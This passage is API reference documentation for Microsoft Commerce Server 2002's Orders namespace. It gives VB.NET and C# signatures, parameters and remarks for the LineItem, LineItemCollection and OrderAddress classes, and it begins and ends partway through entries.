Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the LineItem.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally to release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Handle to a LineItemEnumerator instance.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.GetHashCode Method (BCL)

Use this method to override the Object.GetHashCode implementation.

Definition

[Visual Basic .NET]
Overridable Public Function GetHashCode( _
) As System.Int32
[C#]
public virtual System.Int32 GetHashCode(
);

Return Value

An Int32 hash code value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem Properties (BCL)

Public Instance Properties

Property | Description
Index | Retrieves the index of this item in the owning LineItemCollection collection.
Item(String) | Accesses the specified property on the line item.
ParentOrderForm | Retrieves the order form owning this line item.
ProductCatalog | Accesses the value of the product_catalog field on the line item.
ProductCategory | Accesses the value of the product_category field on the line item.
ProductID | Accesses the value of the product_id field on the line item.
ProductVariantID | Accesses the value of the product_variant_id field on the line item.
Quantity | Accesses the value of the quantity field on the line item.
ShippingAddress | Accesses the value of the shipping_address_id field on the line item.
ShippingMethodID | Accesses the value of the shipping_method_id field on the line item.
ShippingMethodName | Accesses the value of the shipping_method_name field on the line item.


LineItem.Index Property (BCL)

The Index property retrieves the index of this item in the owning LineItemCollection collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property Index As System.Int32
[C#]
public System.Int32 Index {get;}

Property Value

The index of the item in the collection.

Remarks

For newly created line items, this returns -1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.Item Property (BCL)

The Item property sets or retrieves the specified property on the line item.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
The name of the property to set.
[C#]
keyName
The name of the property to set.

Property Value

The value of the specified property on the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ParentOrderForm Property (BCL)

The ParentOrderForm property is a read-only property that retrieves the order form owning this line item.

Definition

[Visual Basic .NET]
Public Readonly Property ParentOrderForm As OrderForm
[C#]
public OrderForm ParentOrderForm {get;}

Property Value

The order form that owns the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ProductCatalog Property (BCL)

The ProductCatalog property is a read/write String that accesses the value of the product_catalog field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ProductCatalog As System.String
[C#]
public System.String ProductCatalog {get; set;}

Property Value

The value of the product_catalog field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ProductCategory Property (BCL)

The ProductCategory property is a read/write String that accesses the value of the product_category field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ProductCategory As System.String
[C#]
public System.String ProductCategory {get; set;}

Property Value

The value of the product_category field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ProductID Property (BCL)

The ProductID property is a read/write String that accesses the value of the product_id field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ProductID As System.String
[C#]
public System.String ProductID {get; set;}

Property Value

The value of the product_id field on the underlying Dictionary COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ProductVariantID Property (BCL)

The ProductVariantID property is a read/write String that accesses the value of the product_variant_id field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ProductVariantID As System.String
[C#]
public System.String ProductVariantID {get; set;}

Property Value

The product_variant_id field on the underlying Dictionary COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.Quantity Property (BCL)

The Quantity property is a read/write Int32 that accesses the value of the quantity field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property Quantity As System.Int32
[C#]
public System.Int32 Quantity {get; set;}

Property Value

The value of the quantity field on the underlying Dictionary COM Interop object.

Remarks

If no quantity field value has been set, then this method returns 0.

Commerce Server 2002 does not support decimals in quantity values.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ShippingAddress Property (BCL)

The ShippingAddress property is a read/write String that accesses the value of the shipping_address_id field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ShippingAddress As System.String
[C#]
public System.String ShippingAddress {get; set;}

Property Value

The value of the shipping_address_id field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ShippingMethodID Property (BCL)

The ShippingMethodID property is a read/write String that accesses the value of the shipping_method_id field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ShippingMethodID As System.String
[C#]
public System.String ShippingMethodID {get; set;}

Property Value

The value of the shipping_method_id field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItem.ShippingMethodName Property (BCL)

The ShippingMethodName property is a read/write String that accesses the value of the shipping_method_name field on the underlying Dictionary COM Interop object.

Definition

[Visual Basic .NET]
Public Property ShippingMethodName As System.String
[C#]
public System.String ShippingMethodName {get; set;}

Property Value

The value of the shipping_method_name field on the underlying Dictionary COM Interop object.

Remarks

If no value has been set, then this method returns null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection Class (BCL)

Encapsulates the collection of line items associated with the order form.

Public Instance Methods

Method | Description
Add(LineItem) | Adds the specified line item to the collection.
CopyTo(Array, Int32) | Copies the line items to an array, starting at a particular array index.
GetEnumerator | Retrieves an enumerator on this collection.
IndexOf(String, String, String) | Returns the index of the specified item in the line item collection.
Remove(LineItem) | Removes the specified line item from the collection.
Remove(Int32) | Removes the specified line item from the collection, based on index the line item.

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns False.
Item | Retrieves a LineItemCollection instance by index.
ParentOrderForm | Retrieves the order form owning this line item.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the LineItemCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(LineItem) | Adds the specified line item to the collection.
CopyTo(Array, Int32) | Copies the line items to an array, starting at a particular array index.
GetEnumerator | Retrieves an enumerator on this collection.
IndexOf(String, String, String) | Returns the index of the specified item in the line item collection.
Remove(LineItem) | Removes the specified line item from the collection.
Remove(Int32) | Removes the specified line item from the collection, based on index the line item


LineItemCollection.Add (LineItem) Method (BCL)

Use this method to add the specified line item to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal lineItem As LineItem _
)
[C#]
public void Add(
  LineItem lineItem
);

Parameters

[Visual Basic .NET]
lineItem
Line item to be added to the collection.
[C#]
lineItem
Line item to be added to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.CopyTo (Array, Int32) Method (BCL)

Use this method copy the LineItems to an Array, starting at a particular Array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Handle to a LineItemEnumerator instance.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.IndexOf (String, String, String) Method (BCL)

Use this method to retrieve the index of the specified line item in the line item collection.

Definition

[Visual Basic .NET]
Public Function IndexOf( _
  ByVal productCatalogName As System.String, _
  ByVal productId As System.String, _
  ByVal productVariantId As System.String _
) As System.Int32
[C#]
public System.Int32 IndexOf(
  System.String productCatalogName,
  System.String productId,
  System.String productVariantId
);

Parameters

[Visual Basic .NET]
productCatalogName
The name of the catalog.
productId
The ID of product.
productVariantId
The variant ID of the product.
[C#]
productCatalogName
The name of the catalog.
productId
The ID of product.
productVariantId
The variant ID of the product.

Return Value

If a line item with the specified match is found, then this method returns the 0-based index of this line item. Otherwise, it returns Int32.MinValue.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.Remove (LineItem) Method (BCL)

Use this method to remove the specified line item from the collection.

Definition

[Visual Basic .NET]
Public Sub Remove( _
  ByVal lineItem As LineItem _
)
[C#]
public void Remove(
  LineItem lineItem
);

Parameters

[Visual Basic .NET]
lineItem
The line item to be removed from the collection.
[C#]
lineItem
The line item to be removed from the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.Remove (Int32) Method (BCL)

Use this method to remove the specified line item from the collection, based on index the line item

Definition

[Visual Basic .NET]
Public Sub Remove( _
  ByVal itemIndex As System.Int32 _
)
[C#]
public void Remove(
  System.Int32 itemIndex
);

Parameters

[Visual Basic .NET]
itemIndex
The index of the line item to be removed from the collection.
[C#]
itemIndex
The index of the line item to be removed from the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns False.
Item | Retrieves a LineItemCollection instance by index.
ParentOrderForm | Retrieves the order form owning this line item.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the LineItemCollection object.


LineItemCollection.Count Property (BCL)

The Count property is a read-only integer indicating the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns False.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized. This implementation always returns False.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.Item Property (BCL)

The Item property is a read-only indexer that allows for accessing a collection indexer by integer index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal itemIndex As System.Int32 _
) As LineItem
[C#]
public LineItem Item(
  System.Int32 itemIndex
) {get;}

Parameters

[Visual Basic .NET]
itemIndex
The index of the item.
[C#]
itemIndex
The index of the item.

Property Value

An indexer for the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.ParentOrderForm Property (BCL)

The ParentOrderForm property is a read-only OrderForm that retrieves the order form owning this line item.

Definition

[Visual Basic .NET]
Public ReadOnly Property ParentOrderForm As OrderForm
[C#]
public virtual OrderForm ParentOrderForm {get;}

Property Value

The order form that owns the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


LineItemCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used to synchronize access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used to synchronize access to the collection.

Implements

System.Collection.ICollection

Remarks

This implementation always returns the current instance of the LineItemCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Class (BCL)

Abstracts an element of the order addresses collection.

Public Instance Constructor

Constructor | Description
OrderAddress Constructor(String, Profile) | Creates a new instance of the OrderAddress class with the specified address name and profile object instance containing address information.
OrderAddress Constructor(String, String) | Creates a new instance of the OrderAddress class with a specified address name and address ID.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

Public Instance Properties

Property | Description
City | Accesses the value of the city field on the underlying Dictionary COM interop object.
Country | Accesses the value of the ship_to_country field on the underlying Dictionary COM interop object.
CountryName | Accesses the value of the country_code field on the underlying Dictionary COM interop object.
FirstName | Accesses the value of the first_name field on the underlying Dictionary COM interop object.
ID | Accesses the value of the address_id field on the underlying Dictionary COM interop object.
Item(String) | Accesses the value of the specified order address property on the underlying Dictionary COM interop object.
LastName | Accesses the value of the last_name field on the underlying Dictionary COM interop object.
Line1 | Accesses the value of the address_line_1 field on the underlying Dictionary COM interop object.
Line2 | Accesses the value of the address_line_2 field on the underlying Dictionary COM interop object.
Name | Accesses the value of the address_name field on the underlying Dictionary COM interop object.
PostalCode | Accesses the value of the postal_code field on the underlying Dictionary COM interop object.
RegionCode | Accesses the value of the region_code field on the underlying Dictionary COM interop object.
RegionName | Accesses the value of the region_name field on the underlying Dictionary COM interop object.
ShippingAddressID | Accesses the value of the shipping_address_id field on the underlying Dictionary COM interop object.
State | Accesses the value of the ship_to_state field on the underlying Dictionary COM interop object.
TelephoneNumber | Accesses the value of the telephone_number field on the underlying Dictionary COM interop object.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderAddress Constructor(String, Profile) | Creates a new instance of the OrderAddress class with the specified address name and profile object instance containing address information.
OrderAddress Constructor(String, String) | Creates a new instance of the OrderAddress class with a specified address name and address ID.


OrderAddress Constructor (String, Profile) (BCL)

Use this method to create a new instance of the OrderAddress class with the specified address name and profile object instance containing address information.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal addressName As System.String, _
  ByVal address As Profile _
)
[C#]
public OrderAddress(
  System.String addressName,
  Profile address
);

Parameters

[Visual Basic .NET]
addressName
Name of this address object.
address
Profile object to copy address information from.
[C#]
addressName
Name of this address object.
address
Profile object to copy address information from.

Remarks

This method copies property values from the specified profile object into the order address dictionary using the addressMap tag defined in the web.config file for the application. If no addressMap tag is specified, then the default addressMap tag is used.

Throws ArgumentNullException if the addressName or address parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Constructor (String, String) (BCL)

Use this method to create a new instance of the OrderAddress class with the specified address name and address ID.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal addressName As System.String, _
  ByVal addressID As System.String _
)
[C#]
public OrderAddress(
  System.String addressName,
  System.String addressID
);

Parameters

[Visual Basic .NET]
addressName
Name of this address object.
addressID
The address ID.
[C#]
addressName
Name of this address object.
addressID
The address ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases managed resources.


OrderAddress.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the OrderAddress.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Properties (BCL)

Public Instance Properties

Property | Description
City | Accesses the value of the city field on the underlying Dictionary COM interop object.
Country | Accesses the value of the ship_to_country field on the underlying Dictionary COM interop object.
CountryName | Accesses the value of the country_code field on the underlying Dictionary COM interop object.
FirstName | Accesses the value of the first_name field on the underlying Dictionary COM interop object.
ID | Accesses the value of the address_id field on the underlying Dictionary COM interop object.
Item(String) | Accesses the value of the specified order address property on the underlying Dictionary COM interop object.
LastName | Accesses the value of the last_name field on the underlying Dictionary COM interop object.
Line1 | Accesses the value of the address_line_1 field on the underlying Dictionary COM interop object.
Line2 | Accesses the value of the address_line_2 field on the underlying Dictionary COM interop object.
Name | Accesses the value of the address_name field on the underlying Dictionary COM interop object.
PostalCode | Accesses the value of the postal_code field on the underlying Dictionary COM interop object.
RegionCode | Accesses the value of the region_code field on the underlying Dictionary COM interop object.
RegionName | Accesses the value of the region_name field on the underlying Dictionary COM interop object.
ShippingAddressID | Accesses the value of the shipping_address_id field on the underlying Dictionary COM interop object.
State | Accesses the value of the ship_to_state field on the underlying Dictionary COM interop object.
TelephoneNumber | Accesses the value of the telephone_number field on the underlying Dictionary COM interop object.


OrderAddress.City Property (BCL)

The City property is a read/write String that accesses the value of the city field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property City As System.String
[C#]
public System.String City {get; set;}

Property Value

This property accesses the city field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Country Property (BCL)

The Country property is a read/write String that accesses the value of the ship_to_country field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Country As System.String
[C#]
public System.String Country {get; set;}

Property Value

This property accesses the ship_to_country field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.CountryName Property (BCL)

The CountryName property is a read/write String that accesses the value of the country_code field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property CountryName As System.String
[C#]
public System.String CountryName {get; set;}

Property Value

This property accesses the country_code field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.FirstName Property (BCL)

The FirstName property is a read/write String that accesses the value of the first_name field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property FirstName As System.String
[C#]
public System.String FirstName {get; set;}

Property Value

This property accesses the first_name field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.ID Property (BCL)

The AddressID property is a read/write String that accesses the value of the address_id field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property ID As System.String
[C#]
public System.String ID {get; set;}

Property Value

This property accesses the address_id field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Item Property (BCL)

The Item property is a read/write Object that accesses the value of the specified order address property on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
Name of the property.
[C#]
keyName
Name of the property.

Property Value

This property accesses the specified order address property on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.LastName Property (BCL)

The LastName property is a read/write String that accesses the value of the last_name field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property LastName As System.String
[C#]
public System.String LastName {get; set;}

Property Value

This property accesses the last_name field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Line1 Property (BCL)

The Line1 property is a read/write String that accesses the value of the address_line_1 field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Line1 As System.String
[C#]
public System.String Line1 {get; set;}

Property Value

This property accesses the address_line_1 field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Line2 Property (BCL)

The Line2 property is a read/write String that accesses the value of the address_line_2 field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Line2 As System.String
[C#]
public System.String Line2 {get; set;}

Property Value

This property accesses the address_line_2 field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Name Property (BCL)

The Name property is a read/write String that accesses the value of the address_name field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Name As System.String
[C#]
public System.String Name {get; set;}

Property Value

This property accesses the address_name field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.PostalCode Property (BCL)

The PostalCode property is a read/write String that accesses the value of the postal_code field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property PostalCode As System.String
[C#]
public System.String PostalCode {get; set;}

Property Value

This property accesses the postal_code field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.RegionCode Property (BCL)

The RegionCode property is a read/write String that accesses the value of the region_code field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property RegionCode As System.String
[C#]
public System.String RegionCode {get; set;}

Property Value

This property accesses the region_code field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.RegionName Property (BCL)

The RegionName property is a read/write String that accesses the value of the region_name field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property RegionName As System.String
[C#]
public System.String RegionName {get; set;}

Property Value

This property accesses the region_name field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.ShippingAddressID Property (BCL)

The ShippingAddressID property is a read/write String that accesses the value of the shipping_address_id field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property ShippingAddressID As System.String
[C#]
public System.String ShippingAddressID {get; set;}

Property Value

This property accesses the shipping_address_id field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.State Property (BCL)

The State/Province property is a read/write String that accesses the value of the ship_to_state field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property State As System.String
[C#]
public System.String State {get; set;}

Property Value

This property accesses the ship_to_state field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.TelephoneNumber Property (BCL)

The TelephoneNumber property is a read/write String that accesses the value of the telephone_number field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property TelephoneNumber As System.String
[C#]
public System.String TelephoneNumber {get; set;}

Property Value

This property accesses the telephone_number field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection Class (BCL)

Collection of addresses associated with an order form.

Public Instance Methods

Method | Description
Add(OrderAddress) | Adds the specified order address to the collection.
CopyTo(Array, Int32) | Copies the elements of this collection into the specified array.
GetEnumerator | Retrieves an enumerator on this collection.

Public Instance Properties

Property | Description
